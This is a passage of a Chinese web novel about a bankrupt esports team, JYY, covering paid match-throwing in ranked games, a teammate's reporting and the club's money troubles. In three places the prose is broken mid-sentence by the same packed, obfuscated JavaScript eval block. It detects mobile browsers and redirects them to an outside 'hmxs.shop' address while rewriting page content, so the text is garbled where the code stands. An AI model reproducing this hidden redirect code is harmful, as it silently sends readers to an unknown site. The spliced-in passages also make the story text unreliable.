刚刚第二把训练赛,整个房间的氛围简直就像每人身边都放着一个一触即爆的炸药桶,让人坐在那都胆战心惊。 “你们两就算想上去也没用。”小霖伸了个懒腰,“零落临时有点私事找秋哥聊,叫你们别去,他说改时间再复盘。” 闻言,开开和Qian一愣。 有事? 现在除了小九被举报还能有什么事? 训练室里正呆着三个人。 戴着眼镜的男人自小九下楼后就神色复杂;穿着红色人民币衣服的男人似是心情不错的刷着手机;只有正发着烧的青年死死地盯着自己的手机,回看着自己上局的操作表现。 “Night你先去休息吧,我有事要先和郁秋聊聊。” 终于,零落率先开口打破了沉寂,随即,他像想起了什么似的,沉声道,“还有,下不为例,以后训练赛不会再给你任何逞强的机会了,等你病好了再来复盘。” “……”见零落已经知道了自己的情况,夜雨辰脸上并没露出丝毫惊讶的反应,“哦。” 随即,便出了门。 “咔哒!” 他一出去,零落的表情瞬间比刚刚还更加复杂。 他其实中午就知道夜雨辰的状况了,只不过见对方完全没有请假训练赛的想法,加上是个新队员,所以他这次并没有强制阻拦他带病训练的行为。 而且,这件事先暂且不谈。 他转过头,看向仍坐在一旁漫不经心的人,问道:“什么时候举报的?” “今天凌晨。”郁秋随意地比了比手指在他面前晃悠,“是他自己不懂得珍惜,我本来也没想过给他任何机会,特别是有这么好把柄出现的时候。” 零落看着手上比着的‘3’,没有出声。 三次。 当初战队所有的资金窟窿全被填好、郁秋坐上队长的位置后,郁秋就答应了他的请求,给石简益三次机会,如果对方能表现得好,那他可以既往不咎。 已经很宽心了。 毕竟其中消耗的一次机会可以直接葬送石简益的整个职业生涯。 而郁秋这次向上举报的,也一定是这一点。 零落一时语塞。 半晌,他才开口:“可这样他家里该怎么……” “他家里怎么样关你什么事?你只是教练,管不了别人家里的情况。” 郁秋毫不留情地打断了他。 零落一噎:“我只是……” 说到一半,他直接闭上了嘴。 “你只是因为你们情况相似,所以心软了。”郁秋悠悠地替他补充完了这后半句话。 被对方不知道是第几次道出自己的心里想法,零落手指微微抽搐了一下。 作为教练,他需要时时刻刻去关注队里每名队员的身体状况和心里状态并给他们提供及时的调整和情绪价值,因此,他会去深入了解每名队员的背景资料,其中就包括他们父母的工作。 所以当他看到石简益的情况和自己的情况差不多后,就算他真不喜欢石简益,但终究于心不忍做得这么绝。 万一就因为这个举报导致小九整个家庭就此没了固定收入来源,以后无法生活了该怎么办? 他长叹一口气:“这样是不是太狠了,真不给他留一丝余地吗?” “狠吗?”郁秋嗤笑一声,不以为意道,“零落,你和他不一样,别把你和他混为一谈,毕竟……” 他倏地一下收起脸上的笑意,丝毫不掩饰眼里的厌恶,冷声道,“这个结果可是他自己选择作出来的。” 他本来就讨厌这种演员行为,何况是这种直接演到他头上的职业选手。 就因为钱,所以摒弃职业选手最该有的电竞精神? 加上以前和邱子幸一起对他的针对,他没第一时间举报已经是仁至义尽了。 郁秋冷哼一声:“他早该滚了,再留在这也是浪费我们的时间。” “可下周就要交比赛的大名单了,这一举报我们名单上直接少了个射手。”零落似头疼的揉了揉眉心,好笑道,“而且你这时候交举报,顺便是为了替Night出头,是吗?” 郁秋没忍住勾起嘴角,嘴上却否认道:“不好意思,我听不懂你在说什么。” 零落没好气地翻了个白眼:“小九都跟我说了,昨天Night动手是因为他说……” “停!我没兴趣知道。” 郁秋立马打断对方还未说出口的话,“我先去看看他现在怎么样了,刚刚最后一把他那状态可真是……呵。” 一想到刚刚夜雨辰最后一把的发挥,特别是最后一波团战的操作,他就没忍住发出一道嗤笑。 联想到刚刚对局里二人的情况,和郁秋一般打游戏的脾气,零落好心地提醒了一句:“他情况特殊,你别和他打起来了……” 他接着道:“不过我们怎么跟冷姐他们交代这件事?俱乐部把One叫回来的预算可不——” 还没说完话,便戛然而止。 训练室的门被打开了。 门外,正站着一个青年。 见到门被打开,夜雨辰一怔,抬眸看向面前这个开门的人,下一秒,他立马偏头瞥开视线,小声道:“我数据线落这了。” 说完,他便直接撞开郁秋快步进房,拿好自己的东西后头也不抬的离开了此处。 零落看着这匆忙来又匆忙走的青年,干咳了两声:“他……其实看上去挺生龙活虎的。” “但他刚刚的表现已经说明他现在状态是出奇的差了。” 郁秋耸了耸肩,回首看向零落,脸上挂上一个如沐春风的笑容,缓缓道,“放心吧,今天是肯定不会打起来的,但等他病好后的复盘就不好说了。” * 夜雨辰一回房间,就缩在了自己床上。 很快,房门口就传来一道开门的动静,一道熟悉的轻笑声紧接而至:“偷听可不是个好习惯,听到了多少?” “没听到,关你屁事。” 夜雨辰头也不抬地甩出了答案。 “真的?”郁秋似笑非笑地自己的位置上,用一副看破不说破的表情看着他。 “……”许是感受到一股目光灼灼地视线,不知是不是心虚,夜雨辰缓缓地坐了起来。他目光幽幽瞥向一侧,“你刚刚为什么打断零落的话?” “什么话?”郁秋托腮思索了一下,随即恍然大悟,“哦,你是说小九对你说了什么?” 夜雨辰没有出声。 郁秋看着他这副表情,莞尔道:“你不是让我别问吗?还是说你要现在告诉我,其实我还真的挺好奇……” “不可能。”夜雨辰迅速断绝了郁秋的想法,并立马转了一个话题,“所以小九那把巅峰赛真的是演员。” 这是一个肯定句,没有带上任何的疑问。 听到这个名字,郁秋冷哼一声,脸上毫不掩饰地摆上厌恶的神色。 职业JYY.小九,是电竞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081114|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈众所周知的“人机射手”。 虽然热度高不过郁秋的“替补打野”,但也是JYY的四大黑料之一了。 因为在赛场上,他的操作和KDA总是奇丑无比,而在巅峰赛里,他也常常坑输许多主播和路人,所以,他常常被很多人挂在音符平台和微博上并被怒喷—— 这名职业选手怎么这么菜?! 时间长了,次数多了,网友们就都公认了这件事——小九很菜,人如机。 久而久之,很多人都会忽略一个事实,他本质上还是一名职业选手。 他依旧还有职业该有的细节,有职业该有的思路,有职业该有的操作。 他总会有普通玩家不具备的实力。 夜雨辰在巅峰赛和他撞车做队友的时候也下意识地以为小九就是实打实的菜,所以才打了个2/10的战绩,队友也只是以为这个人菜所以才骂了他。 但打了刚刚那一把训练赛后,不对劲的地方就来了—— 至少在类似的处境下,在巅峰赛里,小九少打多的时候,每次都是直愣愣地走位去接敌方的技能,而不是像训练赛那样,常常有微不可察地、擦肩而过地走位去躲敌方的技能。 他明明具备这种躲技能的反应实力,却在巅峰赛里一点走位的想法都没有。 夜雨辰目光灼灼地看着郁秋:“是不是和两年前你第一被我超的那一把一样的性质。” 他还记得两年前,Rain第一次超过秋的那次,郁秋的直播复盘里,秋的队友一直给他一种‘想赶紧输掉比赛’的感受。 在他后来听说过游戏圈有“演员”这个行业的时候,他就已经深深怀疑郁秋那把“掉级赛”是被那些队友演了。 “是。” 郁秋直接承认了,但下一秒,他就摊手无奈道,“实不相瞒,这两个导演组我都找到了,但没啥用。” “……” 夜雨辰深吸一口气。 打了这么多年的GloryK,他太清楚这句话是什么意思了。 “全国第一”的位置一个游戏就这么一个,或是说,全国排名的每个位置就只允许一名玩家就坐,所以,很多有实力的玩家都会觊觎这些位置。 但是明明有这个实力,却总差一点运气坐上这些位置该怎么办? 或是说,有一个人一直强占着一个位置该怎么办? 于是,有一些人想到了一个方法—— 号召一些对钱贪婪且分数高的玩家一起开个语音房间,数个人同时开始匹配,让这些玩家有机会去做自己的对手给自己送分送人头,或买通那个人的队友,害那个人一直掉分不就好了? 反正只要分数或名次相近的人同时开始匹配,那他们很大概率会排到一把,不论对手或队友。 虽然巅峰赛每名玩家是匿名的形式游玩,但是玩家们可以通过加载列表的“全国排名框”、“英雄的大国标”甚至是玩家自带的贵族标识来判断自己是不是撞到了想演的那个对象。 一把二十分钟的游戏,只要这个玩家的表现能左右到对局的胜负,其对局结果让出钱的人心满意足,那他们就会得到一笔高昂的收入,而这种顶端局的价格,一般都可以高到和很多普通人的月薪媲美。 这就是GK圈顶端局的一个最被人唾弃却最赚钱的行业——“演员”。 那游戏官方知不知道这件事? 知道,但也没用。 做演员的玩家即使被官方封了号,但是他们的实力依旧还在,只要他们再新开一个号把分打上来不就好了? 既不用在意输赢,还有不少的数目可拿。 最主要的还是,官方无法制裁到“导演组”。 语音厅并不是游戏官方的APP,不在官方的管辖范围内,他们的手伸不到那么长。 所以这个游戏,总会有一些没有底线的玩家,他们会丢掉这个游戏最该有的电竞精神,为钱低头,为钱卖分。 即是说,不管是两年前郁秋的那把巅峰赛,还是他们俩前几天撞车做队友的那把巅峰赛,他们的队友,大概率有好几个都被不知道是哪个贪恋或嫉妒着“全国第一”位置的老板收买了。 石简益就是其中之一。 21. 第 21 章 “恶心。” 夜雨辰厌恶地皱起了眉。 GLoryK是一个竞技游戏,他热爱这个游戏。 他永远享受着这个游戏给他带来的热血沸腾,享受着靠自己的实力登顶全国顶端的荣誉。 所以,这种为了成就去故意控制游戏对局胜负的人和为了钱去破坏游戏平衡的行为,简直就是让向往纯粹实力的玩家唾弃至极。 但是,为什么小九会想着去做演员? 他可是一名职业选手,这种行为和假赛没什么区别,被发现就一定会被永久禁赛的。 这不是一个自毁前程的行为么? 夜雨辰脑中刚闪过一丝疑惑,下意识地瞥了一眼郁秋想去询问,但下一秒,他又立马打消了这个念头。 刚刚第二把训练赛的气还没消呢,和他说那么多话干嘛? “睡觉了。” 丢下这三个字,他就整个人缩进了被窝。 被窝外,一道悠悠的声音传了进来:“吃药了没?” 夜雨辰冷漠道:“关你屁事。” 外面的人继续道:“其实你贴在颈后的话,散热效率也很高的。” 一下领悟到对方又在提发烧贴,腋下和大腿根部传来的冰凉感似乎又刺激下了他。 他啧了一声:“不贴。” 外面的人似是笑道:“我还等着你病好呢。” 他咬牙回复:“我也等着。 要不是因为身体有恙,他现在肯定……呵。 不过他的烧应该明天就可以退了。 他现在可太急着痊愈了。 等他病一好,他肯定要…… “你这里凭什么不跟我第一时间冲?” 夜雨辰满眼质问的看着郁秋。 第二天睡醒后,他一感觉自己好得差不多就立马跟零落提出赶紧复盘,郁秋对此也早已迫不及待了。 Qian和开开二人一听到要开始复盘的时候,表情就变得十分五味杂陈—— 炸药桶终于要爆炸了。 这个临时被各种事情耽误的二人斗争终于要拉开序幕了。 夜雨辰指着屏幕上已经暂停的游戏画面上,目光死死盯着郁秋,冷声道:“他们把射手切了,技能都在真空期,我控到了四个人,你凭什么不来跟伤害?” “怎么跟?”郁秋眼也不眨一下地看着他,双手抱胸,皮笑肉不笑道,“你没看到对面边路一直卡着我吗?我要是第一时间上了肯定会被拆火,那我们炸得更快。” 夜雨辰冷笑一声:“怂就是怂,对面五个人都没状态技能,你直接过来把他们秒了,这边路还有什么用?你是没其他队友是吗?” 郁秋反唇相讥:“这又不是巅峰赛,你当对面都不会防守着你这一波进场吗?” …… 两人之间不断迸裂着刺眼的火花。 开开和Qian在旁看着这两人在不断散发的浓浓火药味,默不作声。 昨天第二把,中野的配合上的问题太大了,大到射手犯得错都可以暂且不提,所以先让他们俩吵吵吧。 零落在一旁擦着虚汗,也没有第一时间上前去拉开二人的争斗。 每名玩家都有不同的游戏思路,他们的想法发生冲突是一个新组成战队的正常现象,因为他们从没正式磨合过。 何况这俩人都是游戏里天之骄子中的骄子,傲气顶天,不一定听得进去对方的想法。 所以他只怕这两人吵着吵着打起来。 特别是他俩每次发现自己的思路没说服对方后,忍不住摩拳擦掌的时候。 每次看到这些动作,零落内心就不由得揪起一个度。 看得真是让人心惊胆战的。 …… 给这两人争执了十分钟后,零落终究还是没忍住拉开了他们,开始了昨天两把训练赛的复盘。 这两人虽然表面上悻悻然地闭上了嘴开始听教练的复盘指点,但不论是他们的眼神、表情还是动作,都写满了“老子不服”这四个大字。 这时,大屏幕上刚好回放到一段火舞一闪踢空气的画面。 郁秋没忍住讪笑:“你在这表演猴子捞月呢?” 夜雨辰翻了个白眼:“至少我不会在野区做个路痴。” “……”零落深吸一口气。 这一波暴君团里,暴君被敌方收下。 夜雨辰嗤笑:“玩个打野连个惩戒都拼不过,别玩了。” 郁秋讥讽:“起码比某人四个兵线漏四个补刀强。” “……”零落额上青筋略显。 最后一波团战,己方团灭。 夜雨辰鄙夷:“人全死了你还上赶着送人头。” 郁秋冷笑:“团战第一个祭天的凭什么说我?” “砰!” 突然,一道剧烈的拍桌声响起,吓得四个人一激灵,目光睽睽看向发声源处。 只见零落一巴掌按在桌上,笑眯眯地看着一直在吵的俩人,语气似是和善道:“既然你们的失误这么多,那干脆你们四个每周的对局场数加到两百怎么样?” 两百场游戏,差不多就是一周除了吃喝拉撒,然后一直没日没夜的打GloryK。 夜雨辰冷哼一声,眼里没有丝毫畏惧:“两百就两百,小意思。” 郁秋双手抱胸,不屑道:“两百而已,二百五我都能接受。” “不行!我不要!你们两都给我闭嘴!” 听到如此惩罚,开开脸色瞬变,再也无法视若无睹。 他气势汹汹地分别瞪了一眼丝毫不想退让的二人,下一秒,双手合并,低下头,欲哭无泪道,“行行好吧二位大爷,我还想打瓦呢,两百场游戏都没时间打瓦了!” 他们是GloryK的职业选手,GloryK是工作,不代表他们不会玩其他游戏。 虽然Qian没有开口抗议,但他脸上也写满了‘拒绝一周两百场’的几个大字,眼神幽幽地盯着这两个试图还想开口的人。 感受到满是怨气且带着杀意的三人的目光,斗嘴二人:“……” 行,闭嘴就闭嘴。 * 总算复盘完了。 零落松了口气。 虽然小九被带走了,但并不影响他指出其他人在团队中犯得失误,以及大家战术上需要的调整。 夜雨辰正闷闷不乐地坐在位置上,一下、一下地戳着手机屏幕。 结果,他是挨批最多的那个。 虽然他和郁秋还没争出个胜负,但是这两把对局里,他的打法还是太过“独行侠”导致常常被点名了,特别是第二把。 不是说他的打法有问题,只是有时候看似太过冲动。 巅峰赛打法和比赛打法终究还是有点不一样的。 虽然都是5v5模式、也看重个人操作水平,但是巅峰赛打法总会比比赛的打法更加自私、不考虑团队配合一点。 独行侠打法是一把十分锐利的剑刃。 在巅峰赛里,它可以打出很多出其不意的效果,甚至完成一打五,但在职业赛场上,这把锋利的剑刃不分敌我,甚至常常会对队友造成最高的伤害。 而且敌人的防备心总会高于队友。 所以这个行为对整个团队来说是一个十分大的定时炸弹。 这就是巅峰赛选手和职业比赛的主要区别。 郁秋许是因为看到夜雨辰闷闷不乐、意识到自己有问题的样子,倒是消气了不少。 他看着对方如此沮丧的模样,不由得莞尔道:“没事,大家刚开始打职业都是这样的打法,五排多磨合磨合就行,射手到时候叫老万来打。” 夜雨辰没有说话,而是头也不抬地回了他一根中指。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081115|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚和自己吵完就来安慰他,这和挑衅有什么区别? 听到这句话,Qian的眼神立马就亮了起来:“真的会叫老万回来?” 开开脸上瞬间也写满了期待:“终于又可以和他一起上赛场了吗?” 零落干咳两声,瞪了一眼多嘴的郁秋,才开口道:“不好说,还在和他商量,他不回来还是得想办法买个其他射手。” 夜雨辰见众人如此反应,不禁抬眸疑惑道:“老万?One吗?” 他还记得,前几天他鸽郁秋排位的时候,其中一个在房间的人的id就是JYY.One。 开开迫不及待地介绍道:“对啊,他可是JYY现在唯一的明星选手,也是我们老Qian最好的搭档,他们俩可是一起夺冠过!小九算什么?不如老One的一根汗毛!” 郁秋接着道:“邱子幸来战队后的一个赛季,老万觉得他太菜脾气又太大,而且战队的成绩一落千丈,就不想和他打,但他又不够钱和战队解约,所以直接半退役在家呆着了。” Qian冷哼一声,满脸厌恶:“还好他那时候交了申请,不然估计要被邱子幸他们找借口卡合同,那才真是杀了老万。” 邱子幸? 又是这个名字。 夜雨辰终于忍不住问出了这个问题: “所以,邱子幸到底在JYY做了什么?” 电竞圈内谣传甚广的JYY“队霸中单”邱子幸、莫名其妙被小九拿出来和他比较的邱子幸、被战队众人如此厌恶的邱子幸,究竟做过什么才会让他们人人唾弃? Qian看向他,眼底深处闪过一丝怀念和遗憾,淡淡道:“你应该知道JYY一年前是冠军战队吧?两连冠。” 夜雨辰点了点头。 其实对这件事,他不得不承认自己还是有一丝好奇心的。 JYY一年前可是冠军战队,现在却是快掉到甲级联赛的破产战队。 想着这也是战队大家都知道的事情,Qian开始介绍道:“邱子幸在GloryK有实力,所以想打职业,但他不想通过‘选秀大会’和‘青训营’的方式,因为他觉得这太费时间了,可一般成为职业选手的方法就只有这条路去选。” 一提起这个,他的脸上就不由得浮现出怒气,“他家有钱,他就直接让他叔,邱诺,买下了JYY俱乐部——一个刚获得两连冠却没有特别富裕的冠军战队。至此,他们开始接手JYY,然后我的第一批队友因为他们俩,除了One,都转会了。” 当初,JYY的冠军中单一听邱子幸为了上场,不管三七二十一的一定要让自己下首发去给这个不知道哪来的新人做替补,就毫不犹豫地提出了解约,因此,和中单关系好的打野也直接向战队提出了解约申请,他们俩付够违约金后就一并转了会。 而那时候的边路和教练在战队的合同刚好到期,他们看着中野二人都离开了战队,也毅然决然地离开了JYY。 只有One和Qian的合同没到期,而且他们付不起违约金,所以一直呆在了JYY。 再后来就是开开、郁秋和零落同时被买到了这,成为了JYY的新首发。 开开接着道:“老万打了一个赛季就不想打了,邱子幸的行为让他厌恶,刚好他也23了,所以直接提出了半退役。之后小九在他一离开就被补了进来,像邱子幸一开始就想把他塞进来似的。而且果不其然,小九一进队就跟邱子幸的舔狗似的天天做跟班,而除了秋哥敢直接正面怼他们,我们几个都不敢吱声,甚至不太能面上和秋哥打好关系。” 夜雨辰皱眉:“为什么?” “因为JYY这一年相当于是邱子幸家的战队,谁和他作对,谁就会被以各种理由压扣工资。”郁秋十分平静地接过了话, “换个说法就是,我和老板作对,所以这一年的工资全被扣光了。” 22. 第 22 章 顶着被扣光一年工资的后果也要和老板作对? 夜雨辰冷哼一声:“真有钱。” “谬赞了不是,我可穷了。”郁秋笑着摆了摆手。 零落在旁点了点头:“是的,他不仅没钱,开销还大,经典的月光族。” “四位数的鞋说买就买,一买就是好几双,一双比一个月的工资还高。” Qian接着话在一旁补充道。 开开立马附和道:“就是,还直接明晃晃摆了出来,在邱诺他们面前简直就是不怕被扣钱的挑衅!” 夜雨辰一怔。 他突然想起自己刚进战队的第一天,鞋架上摆着的三双和自己牌子相同、价格昂贵的鞋子。 他甚至把自己的鞋子放在了那三双的旁边。 原来都是郁秋的吗? 他眼底瞬间闪过一抹嫌弃。 见自己的队友都在捧杀自己,郁秋扶额苦笑道:“我哪来的钱你们又不是不知道,我要是真有钱早就和邱子幸硬刚到底了。” “呵呵” 开开和Qian翻了个白眼。 一提到邱子幸,零落干咳两声,将话题回归到原轨道,继续介绍道:“上个赛季战队的结果出来后,邱子幸就再也在这呆不下去了,可能是因为当初买这个战队的钱几乎都赔本了,所以他和他叔丢下战队跑路的时候将能带走的钱全带走,给我们留下了一屁股债。” 说到这,他就不禁叹了一口气:“他们在的这一年,战队的核心工作人员、二队、青训营这些都走得走,散得散,然后被邱诺强行塞进来的关系户员工都第一时间跟着他们一起跑路了,整个俱乐部一瞬间就空下来了。” “关系户,真恶心。” Qian毫不掩饰脸上的厌恶总结道。 “真的很讨厌关系户。”回响起过去的种种,开开也跟着叹息一声,“而且我们就算没和邱子幸面上作对,也会被他们强行安排进队的经理以各种理由扣工资,举报都没用,所以他们的离开对我们起码还是算解脱的。” 然后,他皱起眉继续道,“但是后来更大的问题就是,俱乐部欠债未还,我们合同却相当于被扣在这儿,所以当时大家脑子都有点空白,因为这个困境可能让我们以后的比赛都没得打。” 开开、零落和郁秋他们三个人的职业履历上一点成绩都没有,就算合同到期了也不会有战队愿意要。而且,在这个战队他们起码还可以坐在首发位,要是换了其他战队可能连个替补的位置都没有。 Qian和One的职业履历上虽然有两个冠军的荣誉,但他们和战队的合同还没到期,所以也无法转会。 无法转会的选手们遇到战队缺钱缺选手的问题,很有可能无法继续打接下来的比赛。 开开:“一开始,为了让战队苟延残喘,大家都垫上了自己为数不多的积蓄,只不过我们三个条件有限拿出的真的很少,就秋哥,一下子垫上了我们的好几倍,虽然是杯水车薪,但也让我们有机会再去想办法凑凑钱。” 零落推了推鼻梁上的眼镜框:“而且我们几个也都不方便找家里借钱。” “除了小九,他是真的对战队无所谓的态度。” Qian冷冷补充道。 “不过,”开开脸上的表情不由得变得欣慰了起来,“还好有孟老板和冷姐空降到战队,他们说自己是JYY的老粉,不甘心战队就这么倒闭,直接拿了一大笔钱来填补战队的资金坑,成为了现在的新老板。真的是救我们于水火之中,那几天真的把我们几个急死了。” “然后因为秋哥这一年对我们的帮助、那几天的付出以及他的实力是我们几个间毋庸置疑的,所以我们都同意让他担任队长的位置,当然,小九的意见我们肯定会视而不见。” Qian讽刺道:“要不是有互联网这个途径,小九都不配认识到邱子幸,他们都不是一个社会阶层的人。” 听到这句犀利的话语,郁秋在旁也没忍住跟着嗤笑一声:“确实,而且石简益跟邱子幸混久了,消费习惯就跟着上去了,以前邱子幸应该还会在工资上给他多分一点钱,但现在大家该拿多少就多少,所以以他的条件,根本无法继续过之前逍遥自在的生活。” 石简益享受纸醉金迷的生活,却没有够格的能力去承担消耗的资源。 最后,他直接选择了来钱最快的路——顶着断绝职业生涯的风险去做演员。 听完战队的历史,夜雨辰干涩地舔了舔唇。 所以,就是因为邱子幸想走捷径做职业选手,买下了一个冠军战队,结果最后差点让面前这几个和自己年龄相仿的青年们的职业生涯就此断送了吗? 曾经一个辉煌的冠军战队JYY,今日如此的狼狈。 但他们几个何尝不是一种患难见真情呢? “郁秋!!!” 突然,训练室的门外响起了一道陌生的怒吼声。 众人被这突兀地声音吓了一跳。 下一秒,一名看似二十出头、风尘仆仆地男子破门而入。 他环顾四周,在目光瞥到衣服最奇葩的那人一瞬,便气势汹汹地冲了过去。 他一把抓起郁秋的衣襟拉到自己身前,皮笑肉不笑道:“你他妈现在就把小九举报上去是什么意思?你还想不想打比赛了?” 除了夜雨辰和被抓起衣襟的人,其他队员在看到这名男子出现的一瞬间,全部都不由得自主地正经了起来。 “老...老板好!” 开开甚至没忍住鞠了个躬。 不过郁秋看着面前这个怒气冲冲的人,神色倒是一如常态的轻松。 他举起双手,满脸无辜:“孟老板,小九那德行你也看到了,又是不认真训练又是演员的,我跟您告状的时候您不就已经想把他踢了吗?” 孟凌轩啧了一声,随即甩开手,偏头看向其他四名队员,脸上挂着和善的微笑道:“你们先出去一下,我要和郁秋好好‘聊聊’。” 于是,其他四人就这么被赶出了训练室。 开开、Qian和夜雨辰三脸懵逼,一时间没反应过来发生了什么。 训练室的门一关,其内顿时传出来一道怒吼声: “郁秋我日你大爷的你要让我连裤衩都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081116|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没得穿吗?!” 听着里面发出的动静,开开缓缓扭头,看向身旁的人,支支吾吾道:“零...零落,你可以给我们透露一点战队的情况吗?不然我们就要在门口偷听了。” “……散了吧。”零落推了推鼻梁上的眼镜,随即,转身下楼,摆了摆手,“反正只能说小九肯定是不能再上场了,但One不一定回得来,你们知道这一点就够了,建议别偷听,没好下场的。” 在听到One不一定回得来这句话后,Qian和开开的神色顿时闪过一抹失望。 夜雨辰则是若有所思,边回房间边思考着。 昨天,他在门口听到了零落戛然而止的那句话—— “俱乐部叫回One的预算可不——” 不什么? 不够?还是不小? 他不确定。 但他能确定两点。 一是,零落和郁秋一定知道些什么关于战队的事情,只是没和身为普通队员的他们说。 二是,下周每个战队就要提交比赛的大名单上去了,但如果One没回来,战队就没有射手,那他们连是否能参加比赛都够呛。 在根据自己得知战队的这些消息来推测,他顺藤摸瓜,似乎知道了什么东西。 他打开手机,直接和零落开门见山的发去消息—— 【Night:One为什么不一定能回来?】 零落的消息回得很快。 【LL:这不是你该关心的事,你先多和他们磨合磨合吧。】 【Night:那如果战队没有射手怎么办?下周就要提交大名单了。】 【LL:上头有办法的,不方便说,你们等通知就好了。】 这种答案并没有让夜雨辰打算就此作罢。 【Night:One是不是开了什么条件让俱乐部现在无法满足他?】 这时,他的聊天框最上方闪过了一瞬的“对方正在输入中……”又立马消失。 过了一分钟,对面也没有任何的消息发来。 他接着问道。 【Night:战队资金是不是有什么问题?】 【LL:……】 【LL:你想说什么】 夜雨辰垂下眼眸。 他大概知道One现在为什么大概率回不来了。 One是老选手,也是GK圈的明星选手,所以他的底薪肯定是他们几个人里最高的那个,而且再算上其他业务的收益,这些已经可以让他赚得盆满钵满了。 按道理来说,如果他想脱离战队,那解约费一定是够了的,但为什么One没钱和JYY解约? 只能是One在经济条件上一直都有问题,所以,他回来打比赛的条件也一定和战队资金脱不开关系。 但好巧不巧,JYY现在是“破产”战队,特别是还刚花了150万买下了自己…… 夜雨辰重重吐出一口气,下定决心,给对方发了一条消息过去—— 【Night:我有一个想法应该可以解决这个问题,但我想找你要一个东西。】 23. 第 23 章 三楼训练室里。 孟凌轩摩拳擦掌,一副看似下一秒就要揍人的模样,似笑非笑道:“郁大少爷,你知不知道我老婆给我打电话说你还要找我掏钱时的感受?不是你的钱你花起来是真的不心疼啊。” 郁秋对这个称呼微皱起眉:“别在这里这么叫我,我们装作不认识的样子比较好。而且……” 他眨眨眼,脸上瞬间挂上人畜无害的笑容,“孟少应该不缺这一点小钱吧?” “缺,可缺了,再花钱我的裤衩都要全卖了给你垫钱了。” 孟凌轩深吸一口气,忍住想杀人的冲动,笑着咬牙道,“填完你们这坑后本来就没剩多少了,再加上买你那个小男朋友,我们的创业基金几乎全被你霍霍光了,你特么就不能掏你自己兜里的钱吗?!” 一听到‘小男朋友’这个称呼,郁秋的目光就不由得亮了起来。 他忍俊不禁地耸了耸肩:“我没钱啊,你又不是不知道,在你来这前就掏完了。” “我家又不让我打职业,所以这不就只能靠你帮帮我嘛,刚好你对电竞也有兴趣,你和她也有创业的想法,我们三个一起创业,一举多得嘛。” 孟凌轩额上瞬间青筋暴起:“谁他妈创业刚开始就先赔上好几百个的?!” 但脑子里一想到对方这两年在职业圈里的处境名声,他又不由得泄了气。他烦心地抓了抓头发,啧道:“真服了你,把自己整得这么狼狈才叫我们来帮忙,你到底咋想的?” “没办法,运气不好,”郁秋笑容微敛,垂下眼眸,眼前不由自主地浮现这两年来在圈里遇到的各个事情,最终,他长叹了一口气, “电竞嘛,还是靠实力说话更纯粹一些。我真的特别讨厌这个圈子和资本沾染上任何关系,但今年他到年龄了,时间已经不允许我慢慢来了,刚好他们留下了这个空壳战队……” 说着,他抬眸,目光灼灼地看向面前的人:“孟凌轩,这是一个多好多难得的机会啊。” 一个有最高级职业比赛席位的战队、一个空巢无主地战队、一个有默契队员且实力不俗,还刚好缺中单的战队。 只是在经济上有困难而已。 他是真的很想和夜雨辰一个战队,一起打比赛。 从喜欢上的那一天就开始想了。 “他到年龄打职业了是吧?”孟凌轩抓住了这句话的一个重点,翻了个白眼,“你是什么时候看上他的来着?” “两年前。” “未成年就看上了,畜生。”他小声嘟囔了一句,“不过,就因为他给你撑了个伞,你就要花这么多精力财力去护他职业生涯一帆风顺?” “不止。” 郁秋垂下眼眸。 一把伞而已,虽然那时对他有所帮助,但仅凭这个,是无法让他心动到非他不可的地步的。 回想起过去的场景,他没忍住轻笑道:“我们两是一类人。” 野心、实力、热血、以及那份不服输…… 孟凌轩撇嘴道:“反正你自己慢慢追,追同性你喊我爹我都给不了你主意。” “等等,”下一秒,他发现不对,立马将话题的重点带了回来,“不是,你怎么又开始跟我秀你的单相思了?!现在最重要的问题是钱啊大哥!我们是不可能再掏钱了,不然我们俩就得被关回家然后你一个人管理战队了,所以这次One的问题你只能自己想办法解决。” 听到这个避无可避的话题,郁秋就头疼得揉了揉眉心。 钱现在真的是一个大问题。 其实之前石简益有一句话没说错。 JYY的条件现在确实没办法让One第一时间回来,所以其实这也是郁秋没有第一时间举报他的原因之一。 战队因为缺钱的问题,所以一开始是真的打算“包庇”选手的。 但是他让夜雨辰生气了,所以郁秋不想再给他任何机会了。 现在JYY的主要问题就是——One的归队条件。 其实也很简单,不拖欠工资。 但数目真的不小了,比三个普通队员加起来的还多,毕竟是明星老选手。 可如果再临时买一个新的射手,需要的数目肯定也是只多不少。 思来想去,郁秋只好苦笑道:“能让Kimi给我提前结账吗?看在我这几天上了个第一的份上?” 